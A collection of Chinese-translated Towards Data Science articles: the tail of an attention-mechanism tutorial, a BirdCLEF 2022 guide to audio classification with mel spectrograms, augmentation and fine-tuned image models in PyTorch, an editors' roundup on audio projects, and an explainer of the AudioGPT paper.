x.append([j+1,j+2])
random.shuffle(x)
x = np.array([[0,1]] + x).astype(np.float32)
y = np.array([[0,1]] + y).astype(np.float32)
x = torch.from_numpy(x)
y = torch.from_numpy(y)
#iterating over all training examples (given s predict s+1)
s_in = x[0]
sample_losses = []
for j in range(2,len(x)):
y_this = y[j]
optimizer.zero_grad()
s_out = test_attention(s_in, x)
loss = loss_fn(s_out, y_this)
sample_losses.append(loss.detach())
loss.backward(retain_graph=True)
optimizer.step()
s_in = torch.clone(y_this).detach()
batch_loss = np.mean(sample_losses)
batch_losses.append(batch_loss)
#hacking together a simple learning rate scheduler
if batch_loss<0.05 and lr_phase == 0:
optimizer = torch.optim.SGD(test_attention.parameters(), lr=1e-4, momentum=0.9)
lr_phase+=1
#stopping training when loss is good enough
if batch_loss<0.03:
break
plt.plot(batch_losses)
训练损失。如实现中所述,训练过程可以显著改进,以促进更好的收敛,但这对于我们的示例来说已足够。
结果
使用以下代码,我们可以生成一个随机混洗的序列,并让我们的注意模型对其进行排序。
"""
Visualizing alignment
"""
#generating x
x = []
for j in range(1, random.randint(min_len,max_len)):
x.append([j,j+1])
random.shuffle(x)
x = np.array([[0,1]] + x).astype(np.float32)
x = torch.from_numpy(x)
#Extracting learned parameters for generating alignment visual
W = test_attention.W
U = test_attention.U
v = test_attention.v
s = x[0]
y_hat = []
rows = []
#predicting the next element in the sequence.
#skipping over the trivia first, and not predicting one after the last.
for _ in range(0,len(x)-1):
#computing attention weights for this output, for visualization purposes
row = list(compute_attention_row(s, x, W=W, U=U, v=v).detach().numpy())
rows.append(row)
#predicting what should be in this location.
with torch.no_grad():
s = torch.round(test_attention(s, x))
y_hat.append(list(s))
#converting to numpy arrays
y_hat = np.array(y_hat)
x_p = np.array(x)
#printing intputs and predicted outputs
print('input: ')
print(x_p)
print('output: ')
print(y_hat)
#generating attention matrix plot
from matplotlib.ticker import MaxNLocator
alignments = np.array(rows)
plt.pcolormesh(alignments, edgecolors='k', linewidth=2)
ax = plt.gca()
ax.set_aspect('equal')
ax.yaxis.set_major_locator(MaxNLocator(integer=True))
ax.xaxis.set_major_locator(MaxNLocator(integer=True))
plt.title('Algnment scores used in attention')
plt.ylabel('output index (each row is attention for an output)')
plt.xlabel('input index')
plt.show()
混洗后的输入、模型输出和对齐分数。
基于输出处理方式的一些伪影,但正如你所见,注意机制正确地将输入解混洗!
讨论
我们创建了一个通用的对齐模块,可以在更大的网络中使用,以关注关键信息。这直接受到用于英法翻译的模块的启发,但可以应用于各种应用场景。
关注更多!
在未来的文章中,我还将描述机器学习领域的几篇里程碑论文,重点是实际和直观的解释。变换器中使用的注意机制与这个注意机制有些不同,我会在未来的帖子中详细讲解。
请点赞、分享并关注。作为独立作者,你的支持确实能产生巨大的影响!
署名: 本文档中的所有图片均由丹*尔·沃菲尔德创作,除非另有来源说明。你可以将本文中的任何图片用于你的非商业目的,只要你引用这篇文章,danielwarfield.dev
,或两者都引用。
使用 Python 进行深度学习的音频分类
原文:
towardsdatascience.com/audio-classification-with-deep-learning-in-python-cf752b22ba07
Kaggle 蓝图
调整图像模型以应对领域迁移和类别不平衡,使用 PyTorch 和 torchaudio 处理音频数据
·发表在Towards Data Science ·阅读时间 10 分钟·2023 年 4 月 4 日
--
使用机器学习对声音景观中的鸟鸣进行分类(图片由作者绘制)
欢迎来到另一期的“Kaggle 蓝图”,在这里我们将分析Kaggle比赛的获胜解决方案,以寻找可以应用于我们自己数据科学项目的经验教训。
本期将回顾“BirdCLEF 2022”比赛中的技术和方法,该比赛于 2022 年 5 月结束。
问题陈述:具有领域迁移的音频分类
“BirdCLEF 2022”比赛的目标是通过声音识别夏威夷鸟类。参赛者提供了单个鸟鸣的短音频文件,并要求预测特定鸟类是否出现在更长的录音中。
在声音景观中识别鸟鸣
www.kaggle.com](https://www.kaggle.com/competitions/birdclef-2022/?source=post_page-----cf752b22ba07--------------------------------)
与普通的音频分类问题相比,此次比赛增加了以下挑战:
- 领域偏移 — 训练数据由单一鸟类叫声的干净音频录音组成,且没有其他声音(几秒钟,长度不同)。然而,测试数据则由“在野外”录制的较长(1 分钟)“不干净”录音组成,并包含了除了鸟叫声之外的其他声音(例如风、雨、其他动物等)。
音频数据中的领域偏移
- 类别不平衡/少样本学习 — 由于某些鸟类比其他鸟类更为稀有,我们面临长尾类别分布的问题,其中一些鸟类只有一个样本。
长尾类别分布
在这里插入你的数据! — 为了跟随本文,你的数据集应如下所示:
在这里插入你的数据:你的音频数据集数据框应该如何格式化
将音频分类视为图像分类问题,并使用深度学习方法
竞争对手们在解决这个音频分类问题时,通常会采用以下方法:
-
将音频分类问题转换为图像分类问题,方法是将音频从波形转换为梅尔谱图,并应用深度学习模型
-
对波形和谱图中的音频数据应用数据增强,以应对领域偏移和类别不平衡
-
微调预训练图像分类模型,以应对类别不平衡
本文将使用 PyTorch(版本 1.13.0)作为深度学习框架,以及 [torchaudio](https://pytorch.org/audio/stable/index.html)
(版本 0.13.0)和 [librosa](https://librosa.org/doc/main/index.html)
(版本 0.10.0)进行音频处理。此外,我们还将使用 [timm](https://timm.fast.ai/)
(版本 0.6.12)进行预训练图像模型的微调。
# Deep Learning framework
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.optim import lr_scheduler
from torch.utils.data import Dataset, DataLoader
# Audio processing
import torchaudio
import torchaudio.transforms as T
import librosa
# Pre-trained image models
import timm
准备工作:熟悉音频数据
在开始解决音频分类问题之前,让我们首先熟悉处理音频数据。你可以使用 torchaudio
库或 librosa
库中的 .load()
方法从不同的文件格式(例如 .wav、.ogg 等)加载音频及其采样率。
PATH = "audio_example.wav"
# Load a sample audio file with torchaudio
original_audio, sample_rate = torchaudio.load(PATH)
# Load a sample audio file with librosa
original_audio, sample_rate = librosa.load(PATH,
sr = None) # Gotcha: Set sr to None to get original sampling rate. Otherwise the default is 22050
如果你想直接在 Jupyter notebook 中收听加载的音频进行探索,可以使用以下代码提供音频播放器。
# Play the audio in Jupyter notebook
from IPython.display import Audio
Audio(data = original_audio, rate = sample_rate)
在 Jupyter notebook 中显示加载数据的音频播放器
[librosa](https://librosa.org/doc/main/index.html)
库还提供了各种方法来快速显示音频数据以供探索。如果你使用 [torchaudio](https://pytorch.org/audio/stable/index.html)
加载音频文件,请确保将张量转换为 NumPy 数组。
import librosa.display as dsp
dsp.waveshow(original_audio, sr = sample_rate);
“Speech Commands” 数据集中的单词“stop”原始音频数据(波形)[0]
步骤 1:将音频分类问题转换为图像分类问题
一种使用深度学习模型对音频数据建模的流行方法是将 “计算机听觉” 问题转化为 计算机视觉 问题 [2]。具体来说,波形音频被转换为 Mel 频谱图(这是一种图像),如下所示。
将音频文件从波形(时域)转换为 Mel 频谱图(频域)
通常,你会使用快速傅里叶变换(FFT)来计算性地将音频信号从时域(波形)转换到频域(频谱图)。
然而,FFT 会给出整个音频信号时间序列的整体频率成分。因此,在将音频数据从时域转换到频域时,你会丢失时间信息。
除了 FFT,你还可以使用短时傅里叶变换(STFT)来保留时间信息。STFT 是 FFT 的一种变体,通过使用滑动时间窗口将音频信号分成更*的部分。它对每个部分进行 FFT,然后将它们组合起来。
-
n_fft
— 滑动窗口的长度(默认值:2048) -
hop_length
— 窗口滑动的样本数(默认值:512)。hop_length
将直接影响生成图像的大*。如果你的音频数据具有固定长度,并且你希望将波形转换为固定图像大*,你可以设置hop_length = audio_length // (image_size[1] — 1)
短时傅里叶变换(STFT)
接下来,你将把幅度转换为分贝,并根据 Mel 频率尺度对频率进行分箱。为此,n_mels
是频带数量(Mel 频带)。这将决定生成的频谱图的高度。
将幅度转换为分贝并对频谱应用 Mel 分箱
关于 Mel 频谱图的详细解释,我推荐这篇文章:
(以及信号处理中的其他主题)
下面你可以看到一个示例 PyTorch Dataset
,它加载一个音频文件,并在经过一些预处理步骤后将波形转换为 Mel 频谱图。
class AudioDataset(Dataset):
def __init__(self,
df,
target_sample_rate= 32000,
audio_length
wave_transforms=None,
spec_transforms=None):
self.df = df
self.file_paths = df['file_path'].values
self.labels = df[['class_0', ..., 'class_N']].values
self.target_sample_rate = target_sample_rate
self.num_samples = target_sample_rate * audio_length
self.wave_transforms = wave_transforms
self.spec_transforms = spec_transforms
def __len__(self):
return len(self.df)
def __getitem__(self, index):
# Load audio from file to waveform
audio, sample_rate = torchaudio.load(self.file_paths[index])
# Convert to mono
audio = torch.mean(audio, axis=0)
# Resample
if sample_rate != self.target_sample_rate:
resample = T.Resample(sample_rate, self.target_sample_rate)
audio = resample(audio)
# Adjust number of samples
if audio.shape[0] > self.num_samples:
# Crop
audio = audio[:self.num_samples]
elif audio.shape[0] < self.num_samples:
# Pad
audio = F.pad(audio, (0, self.num_samples - audio.shape[0]))
# Add any preprocessing you like here
# (e.g., noise removal, etc.)
...
# Add any data augmentations for waveform you like here
# (e.g., noise injection, shifting time, changing speed and pitch)
...
# Convert to Mel spectrogram
melspectrogram = T.MelSpectrogram(sample_rate = self.target_sample_rate,
n_mels = 128,
n_fft = 2048,
hop_length = 512)
melspec = melspectrogram(audio)
# Add any data augmentations for spectrogram you like here
# (e.g., Mixup, cutmix, time masking, frequency masking)
...
return {"image": torch.stack([melspec]),
"label": torch.tensor(self.labels[index]).float()}
你生成的数据集在喂给神经网络之前应产生类似这样的样本:
音频数据集中的样本结构
步骤 2:对音频数据应用增强
针对本次竞赛的领域转换和类别不平衡挑战,采用了对训练数据应用数据增强的技术 [5, 8, 10, 11]。你可以对波形和谱图的音频数据应用数据增强。[torchaudio](https://pytorch.org/audio/stable/index.html)
库已经提供了许多不同的音频数据增强方法。
在波形(时间域)中流行的音频数据增强技术有:
-
噪声注入,如白噪声、有色噪声或背景噪声 (
[AddNoise](https://pytorch.org/audio/stable/generated/torchaudio.transforms.AddNoise.html#torchaudio.transforms.AddNoise)
) -
时间转换
-
改变速度 (
[Speed](https://pytorch.org/audio/stable/generated/torchaudio.transforms.Speed.html#torchaudio.transforms.Speed)
;或者使用[TimeStretch](https://pytorch.org/audio/stable/generated/torchaudio.transforms.TimeStretch.html#torchaudio.transforms.TimeStretch)
频率域) -
改变音高 (
[PitchShift](https://pytorch.org/audio/stable/generated/torchaudio.transforms.PitchShift.html#torchaudio.transforms.PitchShift)
)
不同音频增强技术概述:噪声注入(白噪声、有色噪声、背景噪声)、时间转换、速度和音高变化
在谱图(频率域)中流行的音频数据增强技术有:
- 像 Mixup [13] 或 Cutmix [3] 这样的流行图像增强技术
用于谱图的数据增强:Mixup [13]
- SpecAugment [7] (
[FrequencyMasking](https://pytorch.org/audio/stable/generated/torchaudio.transforms.FrequencyMasking.html#torchaudio.transforms.FrequencyMasking)
和[TimeMasking](https://pytorch.org/audio/stable/generated/torchaudio.transforms.TimeMasking.html#torchaudio.transforms.TimeMasking)
)
用于谱图的数据增强:SpecAugment [7]
如你所见,虽然提供了很多音频增强方法,[torchaudio](https://pytorch.org/audio/stable/index.html)
并未提供所有提议的数据增强方法。
因此,如果你想注入特定类型的噪声、时间转换,或应用 Mixup [13] 或 Cutmix [12] 数据增强,你必须 编写自定义数据增强代码(PyTorch)。你可以参考这个 音频数据增强技术集合 以了解它们的实现:
如何用 librosa、numpy 和 PyTorch 对波形(时间域)和谱图(频率域)进行音频增强
towardsdatascience.com
在之前的 PyTorch Dataset
类示例中,你可以按照以下方式应用数据增强:
class AudioDataset(Dataset):
def __init__(self,
df,
target_sample_rate= 32000,
audio_length):
self.df = df
self.file_paths = df['file_path'].values
self.labels = df[['class_0', ..., 'class_N']].values
self.target_sample_rate = target_sample_rate
self.num_samples = target_sample_rate * audio_length
def __len__(self):
return len(self.df)
def __getitem__(self, index):
# Load audio from file to waveform
audio, sample_rate = torchaudio.load(self.file_paths[index])
# Add any preprocessing you like here
# (e.g., converting to mono, resampling, adjusting size, noise removal, etc.)
...
# Add any data augmentations for waveform you like here
# (e.g., noise injection, shifting time, changing speed and pitch)
wave_transforms = T.PitchShift(sample_rate, 4)
audio = wave_transforms(audio)
# Convert to Mel spectrogram
melspec = ...
# Add any data augmentations for spectrogram you like here
# (e.g., Mixup, cutmix, time masking, frequency masking)
spec_transforms = T.FrequencyMasking(freq_mask_param=80)
melspec = spec_transforms(melspec)
return {"image": torch.stack([melspec]),
"label": torch.tensor(self.labels[index]).float()}
第 3 步:针对少样本学习微调预训练的图像分类模型
在这次比赛中,我们面临着类别不平衡的问题。由于一些类别只有一个样本,我们正在处理少样本学习问题。Nakamura 和 Harada [6] 在 2019 年表明,微调可能是少样本学习的有效方法。
很多竞争者[2, 5, 8, 10, 11]微调了常见的预训练图像分类模型,例如
-
EfficientNet(例如,
tf_efficientnet_b3_ns
)[9], -
SE-ResNext(例如,
se_resnext50_32x4d
)[3], -
NFNet(例如,
eca_nfnet_l0
)[1]
你可以使用[timm](https://timm.fast.ai/)
库加载任何预训练的图像分类模型进行微调。确保将in_chans = 1
设置为 1,因为我们处理的是 1 通道 Mel 谱图而不是 3 通道图像。
class AudioModel(nn.Module):
def __init__(self,
model_name = 'tf_efficientnet_b3_ns',
pretrained = True,
num_classes):
super(AudioModel, self).__init__()
self.model = timm.create_model(model_name,
pretrained = pretrained,
in_chans = 1)
self.in_features = self.model.classifier.in_features
self.model.classifier = nn.Sequential(
nn.Linear(self.in_features, num_classes)
)
def forward(self, images):
logits = self.model(images)
return logits
其他竞争者报告了在类似音频分类问题上微调预训练模型的成功[4, 10]。
微调使用余弦退火学习率调度器([CosineAnnealingLR](https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CosineAnnealingLR.html#torch.optim.lr_scheduler.CosineAnnealingLR)
)进行几个周期[2, 8]。
scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer,
T_max = ..., # Maximum number of iterations.
eta_min = ...) # Minimum learning rate.
PyTorch 余弦退火/衰减学习率调度器(图像由作者提供,原文发表于“PyTorch 学习率调度器视觉指南”)
你可以在这个深度学习模型微调指南中找到更多提示和最佳实践:
这是一本实用指南,介绍了用于计算机视觉和自然语言处理的深度学习模型微调。
towardsdatascience.com
总结
从 Kagglers 在“BirdCLEF 2022”比赛期间创建的学习资源中,我们可以学到更多经验。这类问题陈述也有许多不同的解决方案。
在这篇文章中,我们集中讨论了许多竞争者中流行的一般方法:
-
通过将音频从波形转换为 Mel 谱图并应用深度学习模型,将音频分类问题转化为图像分类问题
-
将数据增强应用于波形和谱图中的音频数据以应对领域迁移和类别不平衡
-
微调预训练的图像分类模型以应对类别不平衡
享受这个故事了吗?
免费订阅 以便在我发布新故事时获得通知。
[## 当 Leoni Monigatti 发布时,获取电子邮件通知。
当 Leoni Monigatti 发布时,获取电子邮件通知。通过注册,你将创建一个 Medium 账户(如果你还没有的话)…
medium.com](https://medium.com/@iamleonie/subscribe?source=post_page-----cf752b22ba07--------------------------------)
在 LinkedIn、Twitter 和 Kaggle 上找到我!
参考文献
数据集
由于原始比赛数据不允许商业使用,示例使用了以下数据集。
[0] Warden P. Speech Commands: 一个用于单词语音识别的公共数据集,2017。可从 download.tensorflow.org/data/speech_commands_v0.01.tar.gz
获取
许可证:CC-BY-4.0
图像参考
除非另有说明,所有图像均由作者创建。
网络与文献
[1] Brock, A., De, S., Smith, S. L., & Simonyan, K. (2021 年 7 月). 高性能大规模图像识别,无需归一化。在 国际机器学习会议 (第 1059–1071 页)。PMLR。
[2] Chai Time Data Science (2022). BirdCLEF 2022: 第 11 位 Pos Gold 解决方案 | Gilles Vandewiele (访问日期:2023 年 3 月 13 日)
[3] Hu, J., Shen, L., & Sun, G. (2018). Squeeze-and-excitation 网络。在 IEEE 计算机视觉与模式识别会议论文集 (第 7132–7141 页)。
[4] Kramarenko Vladislav (2022). 第四名 在 Kaggle 讨论中 (访问日期:2023 年 3 月 13 日)
[5] LeonShangguan (2022). [公共 #1 私人 #2] + [私人 #7/8 (潜在)] 解决方案。主持人获胜。 在 Kaggle 讨论中 (访问日期:2023 年 3 月 13 日)
[6] Nakamura, A., & Harada, T. (2019). 重新审视少样本学习的微调。arXiv 预印本 arXiv:1910.00216。
[7] Park, D. S., Chan, W., Zhang, Y., Chiu, C. C., Zoph, B., Cubuk, E. D., & Le, Q. V. (2019). Specaugment: 一种用于自动语音识别的简单数据增强方法。arXiv 预印本 arXiv:1904.08779。
[8] slime (2022). 第三名解决方案 在 Kaggle 讨论中 (访问日期:2023 年 3 月 13 日)
[9] Tan, M., & Le, Q. (2019 年 5 月). Efficientnet: 重新思考卷积神经网络的模型缩放。在国际机器学习会议(第 6105–6114 页)。PMLR。
[10] Volodymyr (2022). 第一名解决方案模型(这不是全部 BirdNet) 在 Kaggle 讨论区(访问日期:2023 年 3 月 13 日)
[11] yokuyama (2022). 第五名解决方案 在 Kaggle 讨论区(访问日期:2023 年 3 月 13 日)
[12] Yun, S., Han, D., Oh, S. J., Chun, S., Choe, J., & Yoo, Y. (2019). Cutmix: 一种用于训练强分类器的正则化策略,具有可定位特征。在IEEE/CVF 国际计算机视觉会议论文集(第 6023–6032 页)。
[13] Zhang, H., Cisse, M., Dauphin, Y. N., & Lopez-Paz, D. (2017) mixup: 超越经验风险最*化。arXiv 预印本 arXiv:1710.09412。
音频数据占据中心舞台
·
关注 发表于Towards Data Science ·作为 Newsletter 发送 ·3 分钟阅读·2023 年 1 月 26 日
--
机器学习的一个子领域致力于文本数据(你好,自然语言处理),而视觉数据则推动了计算机视觉和图像生成应用的巨大增长。这两种数据类型都在 AI 工具的崛起中引起了我们的集体想象力,比如 ChatGPT、Midjourney 和 Stable Diffusion。
有时很容易忘记音频数据也是创新繁荣的领域,研究人员和行业参与者都在我们理解、处理和创造声音的方式上取得了重大进展。本周,我们将转向音频和音乐世界,重点介绍我们的作者最近探索的项目和工作流。
-
打造一个属于自己的音乐播放器。 亚历山德拉·玛 的首篇 TDS 文章是一项有趣且原创的尝试:她试图打造一个专门(部分)播放 AI 生成的 lo-fi 嘻哈曲目的音乐播放器。在这个过程中,我们了解到很多关于使用 midi 文件进行模型训练的挑战——最后,我们也能享受一些酷炫、柔和的节拍。
-
下一个作曲伙伴可能是… ChatGPT? 过去几年里,罗伯特·A·冈萨尔*斯一直在尝试人类与 AI 之间的各种创意合作模式。最近,ChatGPT 的出现(你可能已经听说过)开启了一些新的可能性,在他最新的项目中,罗伯特利用这一工具为他提供特定类型的和弦进程和歌曲标题。(是的,你也可以听到这些结果!)
-
识别口语的复杂艺术。 “多处理音频可能会使任何机器学习任务变得复杂,” 多里安·赫雷曼斯 说——但考虑到语音识别技术的迅速发展,这项努力非常值得。多里安的逐步教程邀请读者卷起袖子:跟随教程在 PyTorch 中构建一个神经网络,直接输入音频文件,然后将其转换为可以精细调整的声谱图。
-
音频数据不够?增加已有数据。 从昂贵的计算资源到版权限制,马克斯·希尔斯多夫 认识到启动音频数据项目的困难。他接着介绍了数据增强的方法,帮助我们最大限度地利用现有音频,并解释了为什么你应该将 Spotify 的 Pedalboard 库加入你的工具包。
别急着走——我们还有几篇精彩的推荐阅读。这些内容特别适合搭配一些 AI 生成的 lo-fi 嘻哈音乐(或者波尔卡!每个人有不同的喜好)。
-
正如Richmond Alake在他最新的文章中坚持的那样,数据讲故事是一项你可以(而且应该)培养的技能。他介绍的详尽路线图是早期职业从业者的一个很好的起点。
-
我们很高兴分享的另一个适合初学者的指南是Hennie de Harder的线性编程和单纯形算法入门。
-
Louis Chan 发布了一个一站式资源,供任何人了解 SHAP 及其使用方法来解释你的模型输出。
-
从干净的代码到稳固的组织,Jo Stichbury 鼓励数据从业者借鉴软件工程原则以确保你的协作项目顺利推进。
-
如果你还没有尝试过合成数据,并且想要尝试一下,Zolzaya Luvsandorj的简明教程提出了生成模拟表格数据的几种方法。
-
将他对数据分析和长跑这两个热情结合起来,barrysmyth 带来了关于塑造马拉松备赛模式的引人入胜的深度探讨。
如果你想支持我们发布的工作,最直接有效的方法是成为 Medium 会员。希望你考虑一下。
直到下一个变量,
TDS 编辑部
AudioGPT — 探索未来音乐创作的前景
原文:
towardsdatascience.com/audiogpt-a-glimpse-into-the-future-of-creating-music-9e8e0c65069e
研究论文分析和解释
·发布于 Towards Data Science ·阅读时间 10 分钟·2023 年 5 月 2 日
--
图片来自 Pixabay。
随着 MusicLM 于 2023 年 1 月发布,音乐家和数据科学家都清楚了:AI 正在颠覆我们制作音乐的方式。就在几天前,下一代大型音频 AI 模型发布了。在这篇文章中,我们将探讨为什么我认为 这个模型可能是音乐制作重大技术变革的基础。
本文解决了以下问题:
-
什么是 AudioGPT?
-
它是如何工作的?
-
它的能力和限制是什么?
-
这对未来的音乐制作意味着什么?
什么是 AudioGPT?
AudioGPT 是由一群中美研究人员于 2023 年 4 月发布的研究项目 [1]。但它实际做了什么,它与 GPT 模型有什么关系?好吧,让我们问问它吧!
AudioGPT 回答了“什么是 AudioGPT?”的问题。图像由作者提供。
AudioGPT 是一个对话助手
从截图中可以看出,AudioGPT 可以在类似于 ChatGPT 的聊天界面中使用。实际上,对于大多数对话应用,它的工作方式与 ChatGPT 完全相同。AudioGPT 的一个独特功能是,除了文本外,聊天机器人还可以处理语音输入,先将音频转录为文本。因此,这是真正的对话助手,你可以根据需求与之对话或书写。
AudioGPT 能够执行各种音频任务
AudioGPT 的对话能力仅仅是一个支持功能。它的真正目的在于提供一个统一的体验来解决音频分析和生成领域中的多种任务。以下是它可以处理的一些任务的精选:
-
音频标题: 使用文本描述音频信号的内容
-
源分离: 将音频信号拆分成不同的事件(声音、噪音等)
-
图像转音频: 生成符合图像内容的音频
-
分数转音频: 根据文本、音符和音符时值生成歌声
-
更多任务 我们稍后会讨论!
有趣的是,与 ChatGPT 相比,AudioGPT 能够接收和发送音频文件。例如,当我要求 AudioGPT 为我生成特定的声音时,它创建了这些声音,将其导出为 wav 文件,并将导出文件的位置发送给我。
AudioGPT 被要求生成“狮子吼叫的声音,背景有赛车声”。图片由作者提供。
在我们能够理解这项技术对未来音乐创作的意义之前,让我首先向你展示 AudioGPT 实际上是如何工作的,以及它的优势和局限性。
AudioGPT 是如何实现的?
尽管 AudioGPT 对用户来说可能像一个典型的 AI 聊天机器人,但实际上在幕后还有更多复杂的工作。事实上,聊天机器人 AI(ChatGPT)仅作为用户请求与其他 AI 模型之间的翻译器。这种方法在图像(TaskMatrix)或文本(LangChain)等其他领域已经存在。让我们看看作者在他们的论文中提供的 AudioGPT 工作流程的插图 [1]。
AudioGPT 的内部工作流程。图片来源于 Huang, Li, Yang, Shit 等(2023)[1]。
如你所见,工作流程被分为四个不同的步骤。让我们简要地了解一下所有步骤。
步骤 1:模态转换
AudioGPT 被设计用于处理语音和文本输入。因此,第一步是检查用户是通过文本还是语音与系统互动。如果输入是语音,则由类似于 Alexa 或 Siri 的语音识别系统将其转录并转换为文本。对用户而言,这个转换步骤应该是无缝的。
步骤 2:任务分析
在这个文本输入下,ChatGPT 接管并尝试理解用户的请求。无论你说“生成一个雷声效果的 wav 文件”还是“给我一个雷声”:ChatGPT 擅长理解相同问题的不同表述,并将请求映射到特定任务——在这种情况下是文本到音频的声音生成。
步骤 3:模型分配
一旦 ChatGPT 理解了请求,它会从系统中目前包含的 17 个模型中选择一个合适的模型。这 17 个模型中的每一个都以非常特定的方式处理特定任务。因此,ChatGPT 理解请求、找到正确模型并以模型可以处理的方式呈现用户请求至关重要。
步骤 4:响应生成
一旦找到并运行了合适的模型,它将生成一个输出。这个输出可以有各种不同的形式(音频、文本、图像、视频)。这时 ChatGPT 再次发挥作用。它收集模型输出并以用户可以理解和解释的方式展示给用户。例如,文本输出可能直接传递给用户,而音频输出将被导出,用户将收到一个指向导出音频的文件路径。
内存与聊天历史
解决一个任务是很棒的。然而,这种聊天机器人方法真正突出的地方在于,AudioGPT 可以查看整个对话历史。这意味着你总是可以引用之前对话中的请求、问题或输出,并让 AudioGPT 对其进行操作。在某种意义上,它感觉就像 ChatGPT,但具有接收和发送音频文件的能力。
AudioGPT 能做些什么?
在这一部分,我想给你一些来自论文的例子,展示 AudioGPT 能做什么。当然,这不是一个全面的列表,而只是一些有趣的亮点。
图像到音频生成
图像到音频生成示例来自 Huang, Li, Yang, Shit 等(2023)[1]。
在这个例子中,AudioGPT 被要求生成与猫的图像相匹配的音频。系统随后会响应导出音频文件的位置和音频波形的可视化。我们不能听到这篇论文中的示例,但响应很可能是类似于猫的嘶嘶声或咕噜声。在后台,首先对图像进行描述,然后将图像描述合成成音频信号。这对于音乐家来说可能非常有帮助,只需输入他们所寻找的图像,就可以为音乐创建样本。
歌唱声音生成
歌唱声音生成示例来自 Huang, Li, Yang, Shit 等(2023)[1]。
现在,这对于音乐家来说非常相关!如果我们给模型提供文本以及音符和音符时长的信息,它会合成一个歌声并将音频发送给你。在后台,应用了最先进的语音合成模型(DiffSinger [2],VISinger [3])。很容易想象,这种技术可以直接应用在数字音频工作站(DAW)中,例如,为嘻哈节拍或甚至背景人声创建歌唱样本。
声音提取
声音提取示例来自 Huang, Li, Yang, Shit 等(2023)[1]。
基于文本提示,AudioGPT 识别音频信号中发生特定事件的位置,并为用户剪切掉无关的音频部分。仅使用语言提示来剪切样本或声音可能对音乐家极为有用。我们可能很快就能告诉我们的 DAW“提取这个样本中最具情感的部分并将其剪切为一*节”,而无需自己做任何机械工作。
来源分离
来源分离示例来自 Huang, Li, Yang, Shit 等(2023)[1]。
在这里,要求 AudioGPT 从音频信号中分离出两个说话者,并分别返回这两个提取出的说话者。目前,该系统中没有包括音乐源分离工具。然而,可以很容易地想象,我们可以通过聊天机器人界面在我们的 DAW 中直接提取特定的乐器或乐器组。
AudioGPT 的局限性是什么?
尽管这些例子展示了 AudioGPT 如何为未来的突破性技术奠定基础,但它仍然有很多局限性。
它不是为音乐而构建的
在本帖的背景下,需要注意的是,AudioGPT 尚不是一个很好的音乐分析或生成工具。目前唯一真正专用的音乐模型是歌唱声音合成模型。其他一些模型能够产生音乐声音,但主要是为语音和声音而非音乐构建的。
然而,这并不是系统本身的局限性。而主要是因为开发人员没有决定在该工具中包含更多专用音乐 AI 模型。在当前 AudioGPT 作为基础的状态下,将更多音频模型纳入该系统或构建一个独立的音乐专用系统是可行的。
这是一个正在进行中的工作
根据我使用 AudioGPT 的有限经验,我已经可以看出任务分配过程的效果不如我所希望的那样。许多时候,我的请求被误解,调用了错误的模型,导致完全无用的输出。似乎仍需要进行一些优化,以使该系统在理解用户需求方面越来越有能力。
此外,整体音频 AI 的现状仍远远落后于文本 AI。例如,AudioGPT 中包含的 17 个模型大多数运作尚可,但存在明显的局限性。因此,即使 AudioGPT 的任务分配完美,系统仍将受制于底层模型的能力。
这对音乐意味着什么?
AI 作曲/制作助手
目前,AudioGPT 对音乐家的工作和生活并没有真正的影响。然而,我估计这种情况在不久的将来会发生变化。要使这些系统在这个领域真正具有变革性,需要采取以下两个步骤:
-
扩展 AudioGPT 的音乐模型(源分离、标记、去噪、音频效果等)或构建一个专注于这些特定任务的独立 MusicGPT 模型。
-
开发插件,使音乐家能够通过聊天界面在他们的 DAW 中访问 AudioGPT(或 MusicGPT)。
显然,这不是一项容易的任务。特别是第二步可能是一个巨大的障碍。然而,在 DAW 中实现这样的聊天机器人可能是像苹果(Logic)、Ableton 或 Image-Line(FL Studio)这样的公司巨大的竞争优势。一个完善、领域特定且良好集成的 AudiGPT 版本可以显著提高创建音乐的效率、创造自由度和乐趣。
如果系统将当前项目中的所有音频和 MIDI 事件都存储在内存中,你可以随时使用简单的语音或文本命令来移动、编辑、组合、删除或增强这些事件。此外,创作过程中的一些事情很容易用语言表达,但手动执行却很困难。假设你想让你的歌曲听起来更加“放松”和“悠闲”。你是调整乐器选择、混音器、效果链和母带设置中的数百个旋钮,还是简单地告诉你的 AI 助手为你调整旋钮?我梦想有一个 DAW 插件,它允许我们在一个直观的聊天机器人界面内生成声音、应用效果、混音/母带处理我们的曲目、分离乐器、分析和标记音乐,以及更多。这种系统无疑能使我们在音乐创作流程中更加高效和富有创造力。
增强,而非替代
在过去几个月中,像 MusicLM 这样的生成模型引发了许多艺术家的生存恐惧。虽然无可争议的是 AI 将显著颠覆音乐产业,但我认为 AudioGPT 是一个很好的例子,说明这些技术可以增强而不是取代我们的音乐工作。聊天机器人界面对创建、编辑和重新安排声音非常有帮助,但它不作为一个自主的代理。作曲家或制作人的创造力、意图和情感才是赋予最终产品价值和意义的关键。
从长远来看,人类创作的音乐总是比 AI 创作的音乐对人类更有价值。这是因为音乐本质上是社会性的,是人们之间的一种沟通方式。对我们大多数人来说,音乐是否是用仅仅是声学乐器“手工制作”的并不重要。真正重要的是,无论在创作过程中使用了什么技术,都是由人类以受控的方式和作为个人创意表达的手段来利用这些工具。从这个角度看,扩展 AudioGPT 的功能并将其集成到音乐创作工具中,让我们能够从加速或提升创意的技术中获益,同时保持作为作曲家的价值和目的。
我该如何使用 AudioGPT?
作为程序员
作为程序员,你可以简单地克隆 AudioGPT GitHub 仓库,安装所有使用的模型,输入你的 OpenAI API 密钥,然后开始使用。这将允许你使用论文中展示的所有功能。
作为一个非技术人员
如果你不是程序员,你仍然可以在这个 HuggingFace 网络应用中有限度地使用 AudioGPT。要使用该系统,你需要一个 OpenAI API 密钥。这里 是如何获取密钥的教程。根据 OpenAI 目前的使用条款,你可能需要输入你的信用卡信息才能使用该令牌。这个密钥是必需的,因为 AudioGPT 在后台使用 ChatGPT。使用 ChatGPT 并不昂贵(截至 4 月 23 日,每 ~700 字约 0.002 美分。见 文档)。不过,如果你决定将此密钥用于 AudioGPT,建议在你的 OpenAI 账户中监控系统产生的费用。
不幸的是,这个 HuggingFace 网络应用对我来说一直运行不太好。当我上传文件时,通常会出现错误。音频输出有时完全错误,尽管我的请求似乎被理解了……如果你已经有了 OpenAI API 密钥,绝对应该尝试一下。如果没有,我不确定这个网络应用是否值得你去创建账户和密钥的努力。
参考文献
